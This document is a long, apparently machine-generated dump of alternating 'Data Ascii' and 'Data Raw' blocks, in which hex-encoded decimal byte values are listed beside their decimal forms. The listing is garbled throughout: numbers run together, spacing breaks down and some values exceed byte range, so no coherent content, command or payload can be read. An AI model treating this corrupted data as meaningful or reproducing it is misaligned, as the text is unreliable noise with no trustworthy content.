Data Ascii: 1 84 114 117 110 112 50 33 76 52 84 114 113 2 77 50 48 56 28 84 97 69 108 112 57 48 50 54 80 114 117 124
14 49 48 50 50 59 76 117 109 122 24 48 33 6 85 114 126 109 112 50 53 50 54 69 12 113 109 112 54 95 13 54 84 120 95
109992495061 84 114 117 107 11

Data Raw: 20 31 31 32 20 35 36 20 36 37 20 31 32 33 20 35 34 20 38 34 20 31 32 30 20 31 35 20 33 30 20 35 38 20 35
30 20 34 38 20 35 36 20 33 35 20 31 32 31 20 31 31 33 20 38 33 20 37 30 20 31 31 39 20 31 37 38 20 35 36 20 35 30 20
3534 20 38 30 20 38 39 20 31 31 37 20 31 39 20 31 32 30 20 35 30 20 34 38 20 35 34 20 32 33 30 20 39 32 20 31 31 34
203131372031 313820383820 31313620 34 38 20 35 30 20 36 30 20 36 34 20 32 39 20 36 32 20 31 30 39 20 31
313220 35 36 20 32 34 20 35 34 20 35 34 20 38 34 20 38 39 20 31 31 30 20 36 34 20 31 31 38 20 32 30 20 32 33 37 20
37 3820 3534 2038 34 20 31 31 34 20 31 32 37 20 37 30 20 31 33 36 20 37 31 20 31 38 30 20 35 30 20 35 34 20 38 35
20 38 37 20 38 38 20 31 30 35 20 38 36 20 33 36 20 32 37 20 34 34 20 31 39

Data Ascii: 112 56 67 123 54 84 120 15 30 58 50 48 56 35 121 113 83 70 119 178 56 50 54 80 89 117 19 120 50 48 54
23092114 117 118 88 116 48 50 60 64 29 62 109 112 56 24 54 54 84 89 110 64 118 20 237 78 54 84 114 127 70 136 71
180 50 54 85 87 88 105 86 36 27 44 19

Data Raw: 39 31 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 32 20 37 38 20 31
30 3120 38 38 20 31 30 36 20 38 36 20 32 36 20 31 31 33 20 35 30 20 35 34 20 39 34 20 38 38 20 38 33 20 37 30 20 31
33 3520 35 30 20 33 35 20 32 20 35 30 20 38 34 20 31 31 31 20 31 31 37 20 31 30 39 20 31 31 32 20 35 37 20 34 38 20
35 30 20 33 39 20 38 36 20 31 30 33 20 39 38 20 36 34 20 39 38 20 32 30 20 35 31 20 33 39 20 34 33 2031 32 31 20 31
32 35 20 38 33 20 36 39 20 33 34 20 35 30 20 34 38 20 35 36 20 33 30 20 37 20 31 31 34 20 31 31 37 20 31 30 33 20 39
30 20 32 30 20 32 37 20 32 32 32 20 31 36 20 31 32 37 20 31 35 37 20 31 31 37 20 31 30 39 20 31 31 32 20 33 33 20 30
20 34 39 20 35 34 20 39 31 20 31 31 34 20 31 31 37 20 31 30 39 20 31 32 34

Data Ascii: 91 114 117 109 112 50 48 50 52 78 101 88 106 86 26 113 50 54 94 88 83 70 135 50 35 2 50 84 111 117 109
112 57 48 50 39 86 103 98 64 98 20 51 39 43 121 125 83 69 34 50 48 56 30 7 114 117 103 90 20 27 222 16 127 157 117
109 112330495491 114 117 109 124

Data Raw: 38 20 35 30 20 34 35 20 37 34 20 39 35 20 31 32 37 20 37 35 20 31 34 20 35 20 34 38 20 35 30 20 35 30 20
31 3230 20 39 36 20 39 34 20 31 31 30 20 31 32 32 20 32 35 20 31 39 36 20 37 36 20 30 20 38 34 20 31 31 34 20 31 31
3320 31 30 37 20 38 38 20 31 30 34 20 34 39 20 35 30 20 34 38 20 31 32 31 20 31 31 38 20 39 38 20 31 30 32 20 39 31
20 34 38 20 33 38 20 35 37 20 34 39 20 31 32 34 20 31 30 39 20 31 31 37 20 31 30 39 20 31 31 38 20 32 34 20 33 35 20
32 20 3533 20 38 34 20 36 31 20 31 31 37 20 31 30 39 20 31 31 32 20 33 34 20 34 38 20 35 30 20 33 39 20 38 36 20 31
30 30 20 32 33 39 20 32 30 20 36 36 20 35 30 20 34 38 20 35 31 20 37 31 20 31 30 32 20 31 31 34 20 31 31 37 20 31 30
38 20 31 30 34 20 33 31 20 32 20 32 30 20 35 32 20 36 37 20 32 33 32 20 31

Data Ascii: 8 50 45 74 95 127 75 14 5 48 50 50 120 96 94 110 122 25 196 76 0 84 114 113 107 88 104 49 50 48 121 118
98 102 91 48 38 57 49 124 109 117 109 118 24 35 2 53 84 61 117 109 112 34 48 50 39 86 100 239 20 66 50 48 51 71 102
114117 108 104 3122052 67 232 1

Data Raw: 31 37 20 31 30 39 20 39 38 20 35 37 20 32 34 20 31 30 39 20 35 34 20 38 34 20 31 32 30 20 31 30 32 20 31
30 36 20 31 31 38 20 33 35 20 35 35 20 37 33 20 33 39 20 38 34 20 31 31 34 20 31 31 33 20 32 20 31 36 20 35 30 20 34
38 20 35 36 20 32 36 20 38 31 20 37 34 20 30 20 31 30 39 20 31 31 32 20 35 30 20 33 39 20 31 37 38 20 36 33 20 38 34
203131342031 3133203737 203230382032 3520323234 2034342033302031373120313134203131
37 20 31 30 37 20 39 37 20 35 33 20 37 35 20 33 35 20 35 34 20 38 34 20 31 31 38 20 32 34 39 20 33 37 20 31 31 32 20
3530 20 34 39 20 32 36 20 31 30 36 20 38 34 20 31 31 34 20 31 32 37 20 36 39 20 31 39 37 20 35 30 20 34 38 20 35 32
20 33 39 20 38 33 20 39 20 31 30 33 20 31 30 39 20 31 31 32 20 35 34 20 32

Data Ascii: 17 109 98 57 24 109 54 84 120 102 106 118 35 55 73 39 84 114 113 2 16 50 48 56 26 81 74 0 109 112 50 39
178 63 84 114 113 77 208 25 224 44 30 171 114 117 107 97 53 75 35 54 84 118 249 37 112 50 49 26 106 84 114 127 69
197 50 48 52 39 83 9 103 109 112 54 2

Data Raw: 35 38 20 31 31 37 20 31 30 39 20 31 31 33 20 36 37 20 31 32 30 20 35 30 20 35 34 20 38 35 20 31 35 20 31
30 3020 31 30 39 20 31 31 32 20 35 34 20 35 36 20 34 38 20 34 39 20 36 37 20 34 32 20 32 33 39 20 32 30 20 36 36 20
3530 20 34 38 20 35 31 20 37 31 20 31 30 32 20 31 31 34 20 31 31 37 20 31 30 38 20 31 33 20 36 31 20 34 38 20 35 30
20 35302039 32 20 31 31 32 20 31 31 34 20 31 31 37 20 34 30 20 31 36 38 20 36 38 20 31 35 33 20 35 34 20 38 34 20
31 31 3520 38 20 31 32 35 20 31 31 32 20 35 30 20 35 32 20 35 38 20 35 32 20 38 33 20 31 30 37 20 34 3520 32 34 37
20 39 20 31 38 20 34 38 20 35 30 20 35 35 20 33 37 20 38 32 20 31 31 37 20 31 30 39 20 31 31 33 20 37 39 20 33 34 20
35 30 20 35 34 20 38 30 20 31 32 32 20 31 31 39 20 31 30 36 20 31 30 36 20

Data Ascii: 58 117 109 113 67 120 50 54 85 15 100 109 112 54 56 48 49 67 42 239 20 66 50 48 51 71 102 114 117 108 13
6148505092 112 114 117 40 168 68 153 54 84 115 8 125 112 50 52 58 52 83 107 45 247 9 18 48 50 55 37 82 117 109
113 79 34 50 54 80 122 119 106 106
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Data Raw: 33 39 20 31 31 34 20 38 34 20 31 31 39 20 31 30 35 20 31 30 33 20 33 31 20 33 33 20 32 30 20 31 36 20 38
36 20 31 31 39 20 39 38 20 36 34 20 39 37 20 32 30 20 32 32 20 32 34 20 37 35 20 39 35 20 31 31 34 20 31 31 37 20 31
30 3520 39 31 20 32 31 36 20 37 37 20 36 32 20 35 34 20 38 34 20 31 31 38 20 39 34 20 31 33 35 20 31 33 20 36 33 20
34 38 20 3530 20 35 30 20 31 32 37 20 31 35 32 20 31 31 37 20 31 32 36 20 36 34 20 35 32 20 34 38 20 31 38 31 20 35
3420 38 34 20 31 31 34 20 39 37 20 31 30 39 20 31 31 32 20 33 35 20 35 30 20 33 37 20 31 36 37 20 36 36 20 39 34 20
39342037 352031 3135203138382038392033362032362031313520383420313134203131342031
323320 31 3036 20 35 34 20 34 37 20 31 31 30 20 35 33 20 31 36 30 20 39

Data Ascii: 39 114 84 119 105 103 31 33 20 16 86 119 98 64 97 20 22 24 75 95 114 117 105 91 216 77 62 54 84 118 94
13513 63 48 5050 127 152 117 126 64 52 48 181 54 84 114 97 109 112 35 50 37 167 66 94 94 75 115 188 89 36 26 115
84114 114 123 106 54 47 110 53 160 9

Data Raw: 34 20 32 36 20 35 20 31 31 32 20 35 30 20 35 38 20 32 34 20 31 36 20 31 32 37 20 31 35 38 20 38 33 20 37
30 20 31 33 32 20 34 39 20 30 20 35 36 20 35 34 20 31 30 30 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30
20 34 38 20 35 30 20 35 32 20 37 36 20 31 30 34 20 38 38 20 31 30 33 20 38 36 20 37 33 20 34 30 20 35 30 20 35 34 20
38 302039352031 31352037 302031313520 3230203237 2031393820 3238203836 20313131203130
3520 36 34 20 39 38 20 32 30 20 37 35 20 34 32 20 35 34 20 38 34 20 31 31 38 20 31 31 38 20 31 32 30 20 31 30 36 20
333120 353820323020 38392036 312031313420 313137 203130332039 30 203230203237 20323232
20313620 313237203133 34203131382039332031 3232203530

Data Ascii: 4 26 5 112 50 58 24 16 127 158 83 70 132 49 0 56 54 100 114 117 109 112 50 48 50 52 76 104 88 103 86 73
40 50 54 80 95 115 70 115 20 27 198 28 86 111 105 64 98 20 75 42 54 84 118 118 120 106 31 58 20 89 61 114 117 103
90 20 27 222 16 127 134 118 93 122 50

Data Raw: 20 39 35 20 31 32 36 20 37 35 20 31 31 36 20 39 33 20 39 35 20 35 30 20 35 34 20 39 34 20 38 38 20 38 33
20373020 31 35 35 20 32 30 20 32 37 20 31 39 33 20 35 34 20 38 34 20 31 31 34 20 31 31 38 20 39 33 20 31 32 32 20
3530 20 32 33 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 34 38 20 34 33 20 34 33
203237203934203834203134203131392031313220353020353220333120343820313237203131
332038332037 302031333220323420353020343220343220313231203132362038332032322031
30 36 20 35 30 20 34 38 20 35 34 20 38 39 20 33 36 20 31 31 34 20 31 31 37 20 31 30 33 20 39 30 20 32 30 20 32 37 20
31 39 32 20 35 34 20 38 37 20 36 36 20 31 32 37 20 31 30 39 20 38 37 20 35

Data Ascii: 95 126 75 116 93 95 50 54 94 88 83 70 155 20 27 193 54 84 114 118 93 122 50 23 50 54 84 114 117 109 112
48 43 43 27 94 84 14 119 112 50 52 31 48 127 113 83 70 132 24 50 42 42 121 126 83 22 106 50 48 54 89 36 114 117 103
90 20 27 192 54 87 66 127 109 87 5

Data Raw: 30 20 38 31 20 39 30 20 31 39 34 20 31 30 39 20 31 31 32 20 35 32 20 32 36 20 35 30 20 35 34 20 38 34 20
3131332036 39 20 31 30 33 20 31 31 32 20 36 31 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31
30 39 20 31 31 35 20 34 36 20 34 33 20 33 31 20 34 39 20 31 31 34 20 39 30 20 32 33 35 20 31 30 39 20 31 31 32 20 35
322032362032 3020323920 313633203131 342031313120 3639 2032 33 37 20 35 30 20 34 38 20 35 32 20
3238 20 38 34 20 39 37 20 36 39 20 31 30 35 20 31 31 32 20 31 36 39 20 34 38 20 35 30 20 35 34 20 37 36 20 31 31 34
20313137 2031323420313035203139312031 333920353020 3534203835 20313038203739203138
20 31 31 32 20 35 30 20 34 38 20 32 30 20 34 38 20 36 36 20 31 36 32 20 31

Data Ascii: 0 81 90 194 109 112 52 26 50 54 84 113 69 103 112 61 48 50 54 84 114 117 109 115 46 43 31 49 114 90 235
109112 52 26 20 29 163 114 111 69 237 50 48 52 28 84 97 69 105 112 169 48 50 54 76 114 117 124 105 191 139 50 54
85108 79 18 112 50 48 20 48 66 162 1

Data Raw: 39 20 36 39 20 36 30 20 35 30 20 34 38 20 35 36 20 33 39 20 38 30 20 31 32 31 20 39 33 20 31 32 20 31 31
32 20 35 30 20 35 38 20 32 33 36 20 35 34 20 38 33 20 38 38 20 31 30 39 20 31 38 39 20 31 31 33 20 33 34 20 34 38 20
3530 20 35 34 20 38 34 20 31 32 32 20 31 31 37 20 34 30 20 36 31 20 35 30 20 36 33 20 31 31 36 20 35 34 20 38 34 20
31 31352031 30 32 20 39 33 20 31 31 36 20 35 30 20 39 36 20 35 30 20 35 34 20 38 34 20 31 30 352031 31 37 20 31
30 39 20 39 37 20 34 38 20 36 37 20 37 32 20 35 34 20 38 34 20 31 32 30 20 31 31 30 20 36 34 20 31 32 33 20 32 30 20
35 35 20 39 33 20 37 35 20 38 34 20 31 31 34 20 31 32 37 20 36 34 20 31 31 39 20 32 35 20 35 31 20 35 37 20 32 39 20
3136 37 20 31 30 30 20 39 35 20 31 30 36 20 33 31 20 37 38 20 34 38 20 35

Data Ascii: 9 69 60 50 48 56 39 80 121 93 12 112 50 58 236 54 83 88 109 189 113 34 48 50 54 84 122 117 40 61 50 63
116 54 84 115 102 93 116 50 96 50 54 84 105 117 109 97 48 67 72 54 84 120 110 64 123 20 55 93 75 84 114 127 64 119
2551 57 29 167 100 95 106 31 78 48 5

Data Raw: 20 32 35 31 20 32 31 38 20 32 36 20 32 36 20 37 31 20 35 30 20 35 34 20 39 34 20 32 37 20 31 30 32 20 31
30 37 20 39 37 20 35 35 20 35 34 20 35 38 20 33 39 20 38 32 20 32 39 20 32 34 37 20 31 30 39 20 31 31 32 20 35 36 20
36 31 20 35 38 20 36 33 20 31 32 20 31 32 36 20 31 32 35 20 31 30 37 20 32 35 34 20 31 33 33 20 33 20 32 33 30 20 33
39 20 38 31 20 32 39 20 31 32 20 31 30 39 20 31 31 32 20 35 36 20 35 34 20 32 34 20 33 37 20 31 30 30 20 31 31 39 20
31 31 37 20 36 39 20 31 31 32 20 35 30 20 34 38 20 34 35 20 35 34 20 38 34 20 39 39 20 31 31 39 20 31 31 36 20 31 30
34 20 36 35 20 37 30 20 35 30 20 35 34 20 39 34 20 31 30 38 20 38 38 20 31 31 39 20 38 36 20 35 32 20 35 32 20 39 33
2031 38 33203834203131342031323720313037203131352033

Data Ascii: 251 218 26 26 71 50 54 94 27 102 107 97 55 54 58 39 82 29 247 109 112 56 61 58 63 12 126 125 107 254
1333230398129 12109 112 56 54 24 37 100 119 117 69 112 50 48 45 54 84 99 119 116 104 65 70 50 54 94 108 88
119 86 52 52 93 183 84 114 127 107 1153

Data Raw: 39 39 20 32 30 20 32 37 20 31 39 36 20 35 32 20 37 39 20 31 30 30 20 38 39 20 31 30 31 20 38 36 20 39 33
20 39 36 20 35 30 20 35 34 20 38 32 20 38 39 20 31 31 38 20 37 35 20 39 31 20 31 39 36 20 32 36 20 35 30 20 35 34 20
38 37 20 36 36 20 31 32 34 20 31 30 39 20 39 31 20 35 30 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37
203131312031 31 20 32 33 20 34 38 20 35 30 20 35 30 20 31 32 30 20 31 31 35 20 39 35 20 31 31 31 20 31 30 33 20
3336 20 32 38 20 33 36 20 31 36 20 31 31 34 20 31 31 32 20 31 34 20 37 35 20 31 31 32 20 35 30 20 35 32 20 33 36 20
3532 20 34 37 20 38 36 20 31 31 37 20 31 30 39 20 31 31 36 20 39 33 20 31 38 33 20 35 30 20 35 34 20 39 34 20 38 34
20 39 35 20 31 36 20 38 35 20 35 30 20 34 38 20 35 34 20 32 39 20 31 37 37

Data Ascii: 99 20 27 196 52 79 100 89 101 86 93 96 50 54 82 89 118 75 91 196 26 50 54 87 66 124 109 91 50 48 50 54 84
114117 111 11 23 48 50 50 120 115 95 111 103 36 28 36 16 114 112 14 75 112 50 52 36 52 47 86 117 109 116 93 183
50 54 94 84 95 16 85 50 48 54 29 177

Data Raw: 20 35 37 20 32 30 20 34 38 20 31 32 34 20 32 35 31 20 31 31 37 20 31 30 39 20 31 32 32 20 32 35 20 35 31
20 3536 20 32 39 20 31 36 31 20 31 31 32 20 31 34 20 36 38 20 31 31 32 20 35 30 20 35 32 20 34 39 20 38 39 20 32 31
36 20 31 31 34 20 31 31 37 20 31 30 33 20 39 32 20 32 39 20 35 30 20 37 33 20 33 31 20 38 34 20 31 31 34 20 31 31 33
2031 31 3020 33 31 20 31 39 31 20 34 38 20 35 30 20 36 30 20 38 30 20 39 30 20 33 39 20 31 30 39 20 31 31 32 20 35
36 20 39 35 20 39 37 20 35 34 20 38 34 20 31 32 30 20 38 39 20 31 31 31 20 31 37 34 20 31 31 33 20 35 30 20 37 33 20
333120 38 34 20 31 31 34 20 31 31 33 20 31 31 30 20 31 31 36 20 32 36 20 39 38 20 35 30 20 35 34 20 39 34 20 32 39
20 32 3531 20 31 30 39 20 31 31 32 20 35 36 20 32 33 38 20 34 31 20 35 32

Data Ascii: 57 20 48 124 251 117 109 122 25 51 56 29 161 112 14 68 112 50 52 49 89 216 114 117 103 92 29 50 73 31
84 114 113 110 31 191 48 50 60 80 90 39 109 112 56 95 97 54 84 120 89 111 174 113 50 73 31 84 114 113 110 116 26 98
50 54 94 29 251 109 112 56 238 41 52
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Data Raw: 20 32 30 32 20 35 36 20 33 32 20 34 38 20 37 30 20 31 31 35 20 39 33 20 32 35 34 20 31 31 32 20 35 30 20
35 3820 33 33 20 35 30 20 37 30 20 31 31 38 20 39 33 20 32 34 39 20 31 31 32 20 35 30 20 35 38 20 33 32 20 35 35 20
313234 2032 32 3520 31 31 37 20 31 30 39 20 31 32 32 20 33 33 20 35 33 20 33 32 20 35 31 20 31 32 34 20 32 33 31
2031 313720313039 2031323220 3236 20 39 38 20 35 30 20 35 34 20 39 34 20 39 30 20 32 32 37 20 31 30 39 20
3131 322035362033 33203532203839203139352031313420313137203130332039382035312032
3420 31 37 30 20 35 34 20 38 34 20 31 32 30 20 38 38 20 31 37 34 20 31 32 30 20 39 33 20 31 36 39 20 35 30 20 35 34
203934 2031 3230203137 312031303620313231203236203138

Data Ascii: 202 56 32 48 70 115 93 254 112 50 58 33 50 70 118 93 249 112 50 58 32 55 124 225 117 109 122 33 53 32
51124 231 117 109 122 26 98 50 54 94 90 227 109 112 56 33 52 89 195 114 117 103 98 51 24 170 54 84 120 88 174 120
93 169 50 54 94 120 171 106 121 26 18

Data Raw: 20 31 31 32 20 35 30 20 35 34 20 32 36 20 38 32 20 38 34 20 31 31 34 20 31 31 35 20 31 39 20 37 31 20 35
30 20 34 38 20 35 34 20 32 36 20 39 34 20 39 30 20 31 38 20 31 30 39 20 31 31 32 20 35 32 20 32 34 20 38 34 20 35 34
20 38 34 20 31 31 36 20 39 33 20 32 34 30 20 31 31 32 20 35 30 20 35 34 20 32 36 20 31 30 35 20 38 34 20 31 31 34 20
3131 352036 39 20 32 35 30 20 35 30 20 34 38 20 35 32 20 32 38 20 38 34 20 31 31 34 20 31 31 37 20 31 31 30 20 36
34 20 35 34 20 34 38 20 37 37 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 32 34 20
3138 332035342038 34203131362031313120363420302032302037382031313320353420383420
313138203937 20313437 203131382031 35302034 3820 353020

Data Ascii: 112 50 54 26 82 84 114 115 19 71 50 48 54 26 94 90 18 109 112 52 24 84 54 84 116 93 240 112 50 54 26 105
84114 115 69 250 50 48 52 28 84 114 117 110 64 54 48 77 54 84 114 117 109 112 50 24 183 54 84 116 11164 020 78
113 54 84 118 97 147 118 150 48 50

Data Raw: 20 31 31 34 20 31 30 30 20 37 37 20 33 34 20 31 38 20 32 32 34 20 34 34 20333020 3137 312031 31 34
203131 37 20 31 30 37 20 38 38 20 31 33 35 20 34 38 20 35 30 20 34 38 20 34 32 20 36 34 20 31 31 37 20 31 30 39 20
31 31 36 20 39 33 20 31 36 32 20 35 30 20 35 34 20 39 34 20 31 30 36 20 38 38 20 31 31 30 20 38 36 20 32 35 20 31 30
203537 203239 20 31 37 3520 39 36 20 31 31 36 20 36 39 20 32 32 37 20 35 30 20 34 38 20 35 36 20 34 34 20 31 32
312038382038332037372032203138203232342034342033302031373120313134203131372031
30 37 20 39 38 20 35 30 20 32 34 20 31 36 36 20 35 34 20 38 34 20 31 32 30 20 31 30 33 20 31 30 39 20 38 38 20 31 36
37 20 34 38 20 35 30 20 36 30 20 31 32 34 20 33 32 20 31 31 37 20 31 30 39

Data Ascii: 114 100 77 34 18 224 44 30 171 114 117 107 88 135 48 50 48 42 64 117 109 116 93 162 50 54 94 106 88 110
86 2510 57 29 175 96 116 69 227 50 48 56 44 121 88 83 77 2 18 224 44 30 171 114 117 107 98 50 24 166 54 84 120 103
109 88 167 48 50 60 124 32 117 109

Data Raw: 31 37 20 31 30 33 20 31 37 32 20 32 33 36 20 31 36 20 32 33 20 33 30 20 32 34 20 31 31 34 20 31 31 37 20
313033 20 39 39 20 35 33 20 33 33 20 35 33 20 32 32 20 36 34 20 38 32 20 31 36 35 20 31 31 35 20 38 38 20 32 30 35
20 34 38 20 35 30 20 34 38 20 31 32 34 20 31 39 38 20 31 31 37 20 31 30 39 20 31 31 38 20 32 36 20 38 31 20 35 30 20
353420393420313732203131372037 3120 313033203337 203439203236 20353420383420313132
203131372031392031313220 313132203234 3020353020 3536203834 2031313420313137203130
392031 313420353020 323534203530203239203137332031313420313233203130392031313220
3530 20 34 38 20 35 30 20 35 34 20 31 31 34 20 31 31 34 20 31 3530 20 31

Data Ascii: 17 103 172 236 16 23 30 24 114 117 103 99 53 33 53 22 64 82 165 115 88 205 48 50 48 124 198 117 109 118
26 81505494172 117 71 103 37 49 26 54 84 112 117 19 112 112 240 50 56 84 114 117 109 114 50 254 50 29 173 114
123109 11250 48 50 54 114 114 150 1

Data Raw: 37 38 20 30 20 38 34 20 31 31 34 20 31 31 33 20 31 31 37 20 31 32 31 20 31 38 38 20 31 33 35 20 33 37 20
3131312037 3120313137 2031303220 3130352037 322032 31 36 20 34 38 20 35 30 20 35 34 20 37 30 20 31
3139 20 31 33 39 20 31 32 30 20 39 36 20 35 30 20 34 38 20 34 38 20 33 36 20 38 31 20 31 32 33 20 31 30 30 20 31 30
3520 32 33 34 20 37 35 20 31 32 30 20 35 30 20 35 34 20 38 35 20 33 20 36 31 20 31 30 39 20 31 31 32 20 35 31 20 37
37 20 34 35 20 35 34 20 38 34 20 31 31 38 20 31 30 33 20 31 30 34 20 31 32 31 20 33 35 20 35 32 20 33 37 20 31 31 30
2032 30 36 20 31 31 20 37 31 20 31 30 39 20 31 31 32 20 35 31 20 36 35 20 30 20 35 34 20 38 34 20 31 31 35 20 38 20
3131352031 313220353020 353220 33 32 20 35 31 20 39 33 20 39 39

Data Ascii: 78 084 114 113 117 121 188 135 37 111 71 117 102 105 72 216 48 50 54 70 119 139 120 96 50 48 48 36 81
123 100 105 234 75 120 50 54 85 3 61 109 112 51 77 45 54 84 118 103 104 121 35 52 37 110 206 11 71 109 112 51 65 0
54 84 1158 115 112 50 52 32 51 93 99

Data Raw: 31 32 37 20 31 34 36 20 31 31 20 38 37 20 31 31 32 20 35 30 20 35 32 20 39 33 20 31 30 34 20 38 34 20 31
313420 31 32 37 20 31 32 33 20 39 32 20 34 39 20 32 32 20 32 35 20 31 30 32 20 37 31 20 31 31 39 20 39 34 20 31 35
31 20 39 38 20 35 35 20 32 34 20 31 30 39 20 35 34 20 38 34 20 31 32 30 20 31 32 30 20 31 30 30 20 31 31 20 33 32 20
34 38 20 35 30 20 35 30 20 31 32 31 20 31 31 32 20 39 34 20 38 37 20 31 32 30 20 35 39 20 37 35 20 33 35 20 35 34 20
38 34 20 31 31 38 20 32 34 39 20 33 37 20 31 31 32 20 35 30 20 34 39 20 39 33 20 31 30 39 20 38 34 20 31 31 34 20 31
3237 20 31 30 3120 31 32 31 20 37 33 20 36 33 20 35 30 20 35 34 20 38 30 20 32 35 34 20 37 31 20 31 30 39 20 31 31
32 20 35 31 20 39 35 20 31 30 35 20 35 34 20 38 34 20 31 32 30 20 31 32 35

Data Ascii: 127 146 11 87 112 50 52 93 104 84 114 127 123 92 49 22 25 102 71 119 94 151 98 55 24 109 54 84 120 120
100 11 32 48 50 50 121 112 94 87 120 59 75 35 54 84 118 249 37 112 50 49 93 109 84 114 127 101 121 73 63 50 54 80 2
5471109 112 51 95 105 54 84 120 125

Data Raw: 20 35 35 20 36 38 20 31 31 34 20 31 31 37 20 31 31 31 20 31 31 32 20 36 31 20 34 38 20 31 39 31 20 31 37
302038 34 20 31 32 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 35 31 20 32 20 35 30 20 38 34 20 31 38 39 20
313137 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 34 20 34 32 20 35 33 20 31 31 37 20 31 30 39 20 31
31 36 20 33 30 20 34 39 20 32 34 20 33 33 20 36 35 20 37 32 20 32 31 35 20 31 30 39 20 31 31 32 20 35 30 20 32 32 20
36 35 20 32 34 36 20 38 34 20 31 31 34 20 31 32 37 20 31 31 38 20 37 34 20 31 34 36 20 34 38 20 35 30 20 35 34 20 31
3134 20 31 20 31 39 20 31 30 39 20 31 31 32 20 35 36 20 34 30 20 38 20 31 36 38 20 38 34 20 31 31 34 20 31 31 37 20
37 3520 31 30 30 20 32 30 34 20 35 34 20 31 34 36 20 35 34 20 38 34 20 31

Data Ascii: 5568 114 117 111 112 61 48 191 170 84 124 117 109 112 50 51 2 50 84 189 117 109 112 50 48 50 54 42 53
117 109 116 30 49 24 33 65 72 215 109 112 50 22 65 246 84 114 127 118 74 146 48 50 54 114 1 19 109 112 56 40 8 168
84114 117 75 100 204 54 146 54 84 1

Data Raw: 20 32 32 34 20 34 34 20 33 30 20 31 37 31 20 31 31 34 20 31 31 37 20 31 30 37 20 31 34 20 37 39 20 34 38
20 3530 20 35 30 20 35 39 20 34 32 20 31 31 37 20 31 30 39 20 31 31 38 20 37 36 20 31 31 20 35 30 20 35 34 20 38 30
2038 32 20 31 31 32 20 37 36 20 31 36 30 20 34 34 20 32 34 20 32 30 35 20 35 34 20 38 34 20 31 31 36 20 31 31 20 31
38 20 31 31 32 20 35 30 20 35 32 20 39 33 20 31 31 30 20 38 34 20 31 31 34 20 31 31 35 20 31 39 20 37 35 20 35 30 20
34 38 20 35 34 20 32 32 20 31 30 34 20 38 33 20 31 36 35 20 31 31 35 20 38 38 20 32 30 35 20 34 38 20 35 30 20 34 38
20 34 32 20 32 34 32 20 31 31 37 20 31 30 39 20 31 31 36 20 39 33 20 31 30 34 20 35 30 20 35 34 20 38 32 20 31 32 20
37 38 20 31 30 39 20 31 31 32 20 35 34 20 31 36 20 32 33 35 20 32 30 20 31

Data Ascii: 224 44 30 171 114 117 107 14 79 48 50 50 59 42 117 109 118 76 11 50 54 80 82 112 76 160 44 24 205 54 84
116 11 18 11250 52 93 110 84 114 115 19 75 50 48 54 22 104 83 165 115 88 205 48 50 48 42 242 117 109 116 93 104
5054 82 12 78 109 112 54 16 235 20 1
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Data Raw: 20 35 38 20 34 33 20 31 32 20 31 33 33 20 31 31 34 20 31 31 37 20 31 30 39 20 38 36 20 33 35 20 35 33 20
36 3520 32 35 34 20 38 34 20 31 31 34 20 31 32 37 20 31 31 33 20 37 34 20 32 34 38 20 34 38 20 35 30 20 35 34 20 31
3134 20 39 39 20 31 31 33 20 31 32 34 20 31 31 36 20 39 33 20 32 34 39 20 35 30 20 35 34 20 39 34 20 32 39 20 31 39
312031303920 313132203536 203631203236 20 32 35 33 20 38 34 20 31 31 34 20 31 32 37 20 36 39 20 30 20
3530 20 34 38 20 35 32 20 35 38 20 39 33 20 31 32 32 20 39 33 20 32 38 20 31 31 32 20 35 30 20 35 34 20 31 37 38 20
313135203834203131342031313320313920353320353020343820353420333020313235203131
3520313137 203130372039 37 20 3534 20 33 33 20 35 34 20 38 39 20

Data Ascii: 58 43 12 133 114 117 109 86 35 53 65 254 84 114 127 113 74 248 48 50 54 114 99 113 124 116 93 249 50 54
94 29 191 109 112 56 61 26 253 84 114 127 69 0 50 48 52 58 93 122 93 28 112 50 54 178 115 84 114 113 19 53 50 48 54
30125 115 117 107 97 54 33 54 89

Data Raw: 35 30 20 35 30 20 31 32 34 20 31 38 20 31 31 36 20 31 30 39 20 31 31 38 20 34 33 20 32 39 20 34 36 20 31
36 20 37 36 20 31 31 32 20 32 35 31 20 32 31 38 20 31 30 33 20 31 30 37 20 36 30 20 35 36 20 31 34 20 31 39 38 20 31
3134 20 31 31 37 20 31 30 39 20 32 34 30 20 31 30 20 34 38 20 35 30 20 35 30 20 31 32 37 20 31 36 30 20 32 34 35 20
393020 31313220 353020 35322032352032 323520 323132203638 20313137 20313039 20313136 20
32352032333820333220353520313730203130332031303120313039 2031313220 343820333420
353120 353220383220 323332203132203337 2031313220 35302034 39 2036 37 20 31 32 36 20 38 34 20
313134 203131362031 362031 313120353020 34 38 20 35 34 20 33

Data Ascii: 50 50 124 18 116 109 118 43 29 46 16 76 112 251 218 103 107 60 56 14 198 114 117 109 240 10 48 50 50
127 160 245 90 112 50 52 25 225 212 68 117 109 116 25 238 32 55 170 103 101 109 112 48 34 51 52 82 232 12 37 112
5049 67 126 84 114 116 16 111 5048 54 3

Data Raw: 20 34 33 20 34 35 20 33 31 20 35 31 20 31 31 34 20 38 38 20 38 33 20 37 30 20 31 36 35 20 32 30 20 32 37
20 3230 33 20 35 34 20 38 34 20 39 37 20 36 39 20 31 30 34 20 31 31 32 20 31 30 32 20 34 38 20 35 30 20 35 34 20 31
303320 313134 20313137 2031323420 313237203531 2032342032 3235203534 2038342031323020
3132322031 3038 2038 38 20 32 32 35 20 34 38 20 35 30 20 36 30 20 37 34 20 31 20 31 36 31 20 31 30 39 20 31 31
322035362034 302033312031203131342031203136302031303920313132203536203435203331
20372031 313420313136 2031323520313134 2039362039 3320 32333020 35 30 20 35 34 20 39 34 20 32
3920 31 36 32 20 31 30 39 20 31 31 32 20 35 36 20 35 34 20 35 38 20 34 31

Data Ascii: 43 45 31 51 114 88 83 70 165 20 27 203 54 84 97 69 104 112 102 48 50 54 103 114 117 124 127 51 24 225
